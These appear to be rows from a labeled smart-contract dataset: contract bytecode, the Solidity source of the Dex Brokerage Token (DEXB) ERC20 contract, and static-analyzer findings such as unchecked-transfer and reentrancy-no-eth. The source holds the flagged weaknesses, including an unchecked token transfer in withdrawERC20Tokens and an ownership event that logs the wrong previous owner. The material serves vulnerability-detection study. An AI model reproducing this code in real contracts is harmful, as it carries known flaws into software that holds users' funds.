ffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561172657600080fd5b80600260006101000a81548160ff02191690831515021790555050565b600060149054906101000a900461ffff1681565b600080611762612ea8565b600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156117c057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508173ffffffffffffffffffffffffffffffffffffffff16630720246085600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b151561187057600080fd5b6102c65a03f1151561188157600080fd5b505050604051805190602001805190602001805190602001805190602001805190602001805190602001805190508760000188602001896040018a6080018b60a0018c60c0018d60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508367ffffffffffffffff16816000015167ffffffffffffffff1614151561198457600080fd5b806040015192505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119ed57600080fd5b60001515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415611acf5760018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160192506101000a81548161ffff021916908361ffff1602179055505b50565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611b3357600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166347c17bac846000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611bfb57600080fd5b6102c65a03f11515611c0c57600080fd5b50505060405180519050915050919050565b60036020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f454d4f4e4100000000000000000000000000000000000000000000000000000081525081565b6000611cc8612ea8565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515611d2957600080fd5b600260009054906101000a900460ff16151515611d4557600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff16630720246086600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b1515611df557600080fd5b6102c65a03f11515611e0657600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6080018d60a0018e60c0018f60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508467ffffffffffffffff16836000015167ffffffffffffffff16141515611f0957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff16141515611f4757600080fd5b8573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515611f8257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614151515611fbe57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff166335f097f384600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b151561209757600080fd5b6102c65a03f115156120a857600080fd5b505050604051805190508061216357508073ffffffffffffffffffffffffffffffffffffffff1663a847a71c84600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b151561214757600080fd5b6102c65a03f1151561215857600080fd5b505050604051805190505b1561216d57600080fd5b600060036000856040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff166360c6ccb2846040015185600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b15156122bf57600080fd5b6102c65a03f115156122d057600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff16639248019e3385600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b151561238d57600080fd5b6102c65a03f1151561239e57600080fd5b5050508573ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3505050505050565b600061241c612ea8565b600080600073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561247d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156124db57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561253957600080fd5b600260009054906101000a900460ff1615151561255557600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1693508373ffffffffffffffffffffffffffffffffffffffff16630720246086600060405160e001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff16815260200191505060e060405180830381600087803b151561260557600080fd5b6102c65a03f1151561261657600080fd5b50505060405180519060200180519060200180519060200180519060200180519060200180519060200180519050896000018a6020018b6040018c6080018d60a0018e60c0018f60e001878152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508763ffffffff1663ffffffff168152508773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152508763ffffffff1663ffffffff168152508767ffffffffffffffff1667ffffffffffffffff16815250505050505050508467ffffffffffffffff16836000015167ffffffffffffffff1614151561271957600080fd5b826040015173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561275857600080fd5b3373ffffffffffffffffffffffffffffffffffffffff1660036000856040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561280657600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169150600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508173ffffffffffffffffffffffffffffffffffffffff166335f097f384600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b15156128df57600080fd5b6102c65a03f115156128f057600080fd5b50505060405180519050806129ab57508073ffffffffffffffffffffffffffffffffffffffff1663a847a71c84600001516000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1667ffffffffffffffff168152602001915050602060405180830381600087803b151561298f57600080fd5b6102c65a03f115156129a057600080fd5b505050604051805190505b156129b557600080fd5b600060036000856040015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff166360c6ccb2846040015185600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b1515612b0757600080fd5b6102c65a03f11515612b1857600080fd5b5050508373ffffffffffffffffffffffffffffffffffffffff16639248019e3385600001516040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018267ffffffffffffffff1667ffffffffffffffff16815260200192505050600060405180830381600087803b1515612bd557600080fd5b6102c65a03f11515612be657600080fd5b5050503373ffffffffffffffffffffffffffffffffffffffff16836040015173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612cb457600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415612d97576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600060148282829054906101000a900461ffff160392506101000a81548161ffff021916908361ffff1602179055505b50565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e0857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515612e7f57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61010060405190810160405280600067ffffffffffffffff168152602001600063ffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001612ef8612f2c565b8152602001600063ffffffff168152602001600063ffffffff168152602001600063ffffffff168152602001600081525090565b6020604051908101604052806000815250905600a165627a7a723058205993c62218858d49cd7b8ed7fea352653d00373d346c6411a18129833818a9010029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,697 |
0x428c69d0a92474e2fca30f2d0a61c2ccf5ef8157 | pragma solidity ^0.4.25;
// ---------------------------------------------------------------------
// Dex Brokerage Token - DEXB : https://dexbrokerage.com
//
// Symbol : DEXB
// Name : Dex Brokerage Token
// Total supply: 200,000,000
// Decimals : 18
//
// Author: Radek Ostrowski / https://startonchain.com
// ---------------------------------------------------------------------
/**
* @title DexBrokerage
* @dev Interface function called from `approveAndDeposit` depositing the tokens onto the exchange
*/
contract DexBrokerage {
function receiveTokenDeposit(address token, address from, uint256 amount) public;
}
/**
* @title ApproveAndCall
* @dev Interface function called from `approveAndCall` notifying that the approval happened
*/
contract ApproveAndCall {
function receiveApproval(address _from, uint256 _amount, address _tokenContract, bytes _data) public returns (bool);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
}
}
/**
* @title Dex Brokerage Token
* @dev Burnable ERC20 token with initial transfers blocked
*/
contract DexBrokerageToken is Ownable {
using SafeMath for uint256;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event TransfersEnabled();
event TransferRightGiven(address indexed _to);
event TransferRightCancelled(address indexed _from);
event WithdrawnERC20Tokens(address indexed _tokenContract, address indexed _owner, uint256 _balance);
event WithdrawnEther(address indexed _owner, uint256 _balance);
string public constant name = "Dex Brokerage Token";
string public constant symbol = "DEXB";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 200000000 * (10 ** uint256(decimals));
uint256 public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) internal allowed;
//This mapping is used for the token owner and crowdsale contract to
//transfer tokens before they are transferable
mapping(address => bool) public transferGrants;
//This flag controls the global token transfer
bool public transferable;
/**
* @dev Modifier to check if tokens can be transferred.
*/
modifier canTransfer() {
require(transferable || transferGrants[msg.sender]);
_;
}
/**
* @dev The constructor sets the original `owner` of the contract
* to the sender account and assigns them all tokens.
*/
constructor() public {
totalSupply = initialSupply;
balances[owner] = totalSupply;
transferGrants[owner] = true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) canTransfer public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) canTransfer public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) canTransfer public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to approve the transfer of the tokens and to call another contract in one step
* @param _recipient The target contract for tokens and function call
* @param _value The amount of tokens to send
* @param _data Extra data to be sent to the recipient contract function
*/
function approveAndCall(address _recipient, uint _value, bytes _data) canTransfer public returns (bool) {
allowed[msg.sender][_recipient] = _value;
ApproveAndCall(_recipient).receiveApproval(msg.sender, _value, address(this), _data);
emit Approval(msg.sender, _recipient, allowed[msg.sender][_recipient]);
return true;
}
/**
* @dev Function to approve the transfer of the tokens and deposit them to DexBrokerage in one step
* @param _exchange DexBrokerage exchange address to deposit the tokens to
* @param _value The amount of tokens to send
*/
function approveAndDeposit(DexBrokerage _exchange, uint _value) public returns (bool) {
allowed[msg.sender][_exchange] = _value;
emit Approval(msg.sender, _exchange, _value);
_exchange.receiveTokenDeposit(address(this), msg.sender, _value);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) canTransfer public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Transfer(burner, address(0), _value);
}
/**
* @dev Enables the transfer of tokens for everyone
*/
function enableTransfers() onlyOwner public {
require(!transferable);
transferable = true;
emit TransfersEnabled();
}
/**
* @dev Assigns the special transfer right, before transfers are enabled
* @param _to The address receiving the transfer grant
*/
function grantTransferRight(address _to) onlyOwner public {
require(!transferable);
require(!transferGrants[_to]);
require(_to != address(0));
transferGrants[_to] = true;
emit TransferRightGiven(_to);
}
/**
* @dev Removes the special transfer right, before transfers are enabled
* @param _from The address that the transfer grant is removed from
*/
function cancelTransferRight(address _from) onlyOwner public {
require(!transferable);
require(transferGrants[_from]);
transferGrants[_from] = false;
emit TransferRightCancelled(_from);
}
/**
* @dev Allows to transfer out the balance of arbitrary ERC20 tokens from the contract.
* @param _token The contract address of the ERC20 token.
*/
function withdrawERC20Tokens(ERC20 _token) onlyOwner public {
uint256 totalBalance = _token.balanceOf(address(this));
require(totalBalance > 0);
_token.transfer(owner, totalBalance);
emit WithdrawnERC20Tokens(address(_token), owner, totalBalance);
}
/**
* @dev Allows to transfer out the ether balance that was forced into this contract, e.g with `selfdestruct`
*/
function withdrawEther() onlyOwner public {
uint256 totalBalance = address(this).balance;
require(totalBalance > 0);
owner.transfer(totalBalance);
emit WithdrawnEther(owner, totalBalance);
}
} | 0x6080604052600436106101485763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461014d578063095ea7b3146101d757806318160ddd1461020f57806322cd8e9b1461023657806323b872dd1461025757806327e235e314610281578063313ce567146102a2578063378dc3dc146102cd57806342966c68146102e25780634ff7ff32146102fc578063566038fb1461031d578063661884631461033e57806370a08231146103625780637362377b146103835780637627c9ad146103985780638da5cb5b146103b957806392ff0d31146103ea57806395d89b41146103ff578063a9059cbb14610414578063af35c6c714610438578063b00b12391461044d578063cae9ca5114610471578063d73dd623146104da578063dd62ed3e146104fe578063f2fde38b14610525575b600080fd5b34801561015957600080fd5b50610162610546565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019c578181015183820152602001610184565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e357600080fd5b506101fb600160a060020a036004351660243561057d565b604080519115158252519081900360200190f35b34801561021b57600080fd5b50610224610600565b60408051918252519081900360200190f35b34801561024257600080fd5b506101fb600160a060020a0360043516610606565b34801561026357600080fd5b506101fb600160a060020a036004358116906024351660443561061b565b34801561028d57600080fd5b50610224600160a060020a03600435166107c0565b3480156102ae57600080fd5b506102b76107d2565b6040805160ff9092168252519081900360200190f35b3480156102d957600080fd5b506102246107d7565b3480156102ee57600080fd5b506102fa6004356107e6565b005b34801561030857600080fd5b506102fa600160a060020a03600435166108c5565b34801561032957600080fd5b506102fa600160a060020a0360043516610a5f565b34801561034a57600080fd5b506101fb600160a060020a0360043516602435610af6565b34801561036e57600080fd5b50610224600160a060020a0360043516610c05565b34801561038f57600080fd5b506102fa610c20565b3480156103a457600080fd5b506102fa600160a060020a0360043516610cc6565b3480156103c557600080fd5b506103ce610d74565b60408051600160a060020a039092168252519081900360200190f35b3480156103f657600080fd5b506101fb610d83565b34801561040b57600080fd5b50610162610d8c565b34801561042057600080fd5b506101fb600160a060020a0360043516602435610dc3565b34801561044457600080fd5b506102fa610ed2565b34801561045957600080fd5b506101fb600160a060020a0360043516602435610f31565b34801561047d57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101fb948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061100a9650505050505050565b3480156104e657600080fd5b506101fb600160a060020a03600435166024356111b6565b34801561050a57600080fd5b50610224600160a060020a036004358116906024351661126b565b34801561053157600080fd5b506102fa600160a060020a0360043516611296565b60408051808201909152601381527f4465782042726f6b657261676520546f6b656e00000000000000000000000000602082015281565b60055460009060ff16806105a057503360009081526004602052604090205460ff165b15156105ab57600080fd5b336000818152600360209081526040808320600160a060020a038816808552908352928190208690558051868152905192939260008051602061134c833981519152929181900390910190a350600192915050565b60015481565b60046020526000908152604090205460ff1681565b60055460009060ff168061063e57503360009081526004602052604090205460ff165b151561064957600080fd5b600160a060020a038316151561065e57600080fd5b600160a060020a03841660009081526002602052604090205482111561068357600080fd5b600160a060020a03841660009081526003602090815260408083203384529091529020548211156106b357600080fd5b600160a060020a0384166000908152600260205260409020546106dc908363ffffffff61131d16565b600160a060020a038086166000908152600260205260408082209390935590851681522054610711908363ffffffff61133216565b600160a060020a038085166000908152600260209081526040808320949094559187168152600382528281203382529091522054610755908363ffffffff61131d16565b600160a060020a03808616600081815260036020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60026020526000908152604090205481565b601281565b6aa56fa5b99019a5c800000081565b60055460009060ff168061080957503360009081526004602052604090205460ff165b151561081457600080fd5b3360009081526002602052604090205482111561083057600080fd5b5033600081815260026020526040902054610851908363ffffffff61131d16565b600160a060020a03821660009081526002602052604090205560015461087d908363ffffffff61131d16565b600155604080518381529051600091600160a060020a038416917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b60008054600160a060020a031633146108dd57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561093e57600080fd5b505af1158015610952573d6000803e3d6000fd5b505050506040513d602081101561096857600080fd5b505190506000811161097957600080fd5b60008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519185169263a9059cbb926044808401936020939083900390910190829087803b1580156109e957600080fd5b505af11580156109fd573d6000803e3d6000fd5b505050506040513d6020811015610a1357600080fd5b5050600054604080518381529051600160a060020a03928316928516917f340399c867affe8af8b81c9c8909476fe09e7810cea1aa1bd70f9b0b465a09cb919081900360200190a35050565b600054600160a060020a03163314610a7657600080fd5b60055460ff1615610a8657600080fd5b600160a060020a03811660009081526004602052604090205460ff161515610aad57600080fd5b600160a060020a038116600081815260046020526040808220805460ff19169055517f865f9a3e5acb369194fb814788e7cdd5ad14d8def9907065e4fbb5fcf2d490079190a250565b600554600090819060ff1680610b1b57503360009081526004602052604090205460ff165b1515610b2657600080fd5b50336000908152600360209081526040808320600160a060020a038716845290915290205480831115610b7c57336000908152600360209081526040808320600160a060020a0388168452909152812055610bb1565b610b8c818463ffffffff61131d16565b336000908152600360209081526040808320600160a060020a03891684529091529020555b336000818152600360209081526040808320600160a060020a03891680855290835292819020548151908152905192939260008051602061134c833981519152929181900390910190a35060019392505050565b600160a060020a031660009081526002602052604090205490565b60008054600160a060020a03163314610c3857600080fd5b50303160008111610c4857600080fd5b60008054604051600160a060020a039091169183156108fc02918491818181858888f19350505050158015610c81573d6000803e3d6000fd5b50600054604080518381529051600160a060020a03909216917e427c0f965e4f144086694ed3a411df394e3dfa51cf4e74d9a70375bab91bb09181900360200190a250565b600054600160a060020a03163314610cdd57600080fd5b60055460ff1615610ced57600080fd5b600160a060020a03811660009081526004602052604090205460ff1615610d1357600080fd5b600160a060020a0381161515610d2857600080fd5b600160a060020a038116600081815260046020526040808220805460ff19166001179055517f50af31608823996ca2e3de4556476c372e2e6a6bdcc15d9f5c62ffcb412befdd9190a250565b600054600160a060020a031681565b60055460ff1681565b60408051808201909152600481527f4445584200000000000000000000000000000000000000000000000000000000602082015281565b60055460009060ff1680610de657503360009081526004602052604090205460ff165b1515610df157600080fd5b600160a060020a0383161515610e0657600080fd5b33600090815260026020526040902054821115610e2257600080fd5b33600090815260026020526040902054610e42908363ffffffff61131d16565b3360009081526002602052604080822092909255600160a060020a03851681522054610e74908363ffffffff61133216565b600160a060020a0384166000818152600260209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b600054600160a060020a03163314610ee957600080fd5b60055460ff1615610ef957600080fd5b6005805460ff191660011790556040517feadb24812ab3c9a55c774958184293ebdb6c7f6a2dbab11f397d80c86feb65d390600090a1565b336000818152600360209081526040808320600160a060020a0387168085529083528184208690558151868152915193949093909260008051602061134c833981519152928290030190a3604080517f8192433f000000000000000000000000000000000000000000000000000000008152306004820152336024820152604481018490529051600160a060020a03851691638192433f91606480830192600092919082900301818387803b158015610fe957600080fd5b505af1158015610ffd573d6000803e3d6000fd5b5060019695505050505050565b60055460009060ff168061102d57503360009081526004602052604090205460ff165b151561103857600080fd5b336000818152600360209081526040808320600160a060020a03891680855290835281842088905590517f8f4ffcb1000000000000000000000000000000000000000000000000000000008152600481018581526024820189905230604483018190526080606484019081528951608485015289519497638f4ffcb19790968c9693958c959460a490910192918601918190849084905b838110156110e75781810151838201526020016110cf565b50505050905090810190601f1680156111145780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15801561113657600080fd5b505af115801561114a573d6000803e3d6000fd5b505050506040513d602081101561116057600080fd5b5050336000818152600360209081526040808320600160a060020a03891680855290835292819020548151908152905192939260008051602061134c833981519152929181900390910190a35060019392505050565b60055460009060ff16806111d957503360009081526004602052604090205460ff165b15156111e457600080fd5b336000908152600360209081526040808320600160a060020a0387168452909152902054611218908363ffffffff61133216565b336000818152600360209081526040808320600160a060020a03891680855290835292819020859055805194855251919360008051602061134c833981519152929081900390910190a350600192915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b600054600160a060020a031633146112ad57600080fd5b600160a060020a03811615156112c257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383811691821780845560405192939116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b60008282111561132c57600080fd5b50900390565b60008282018381101561134457600080fd5b939250505056008c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925a165627a7a723058206bdd5eb71398b0fc62f54a7b6ea2f5f5f86a7ba41b92a03d9da3a8753c8d0a420029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,698 |
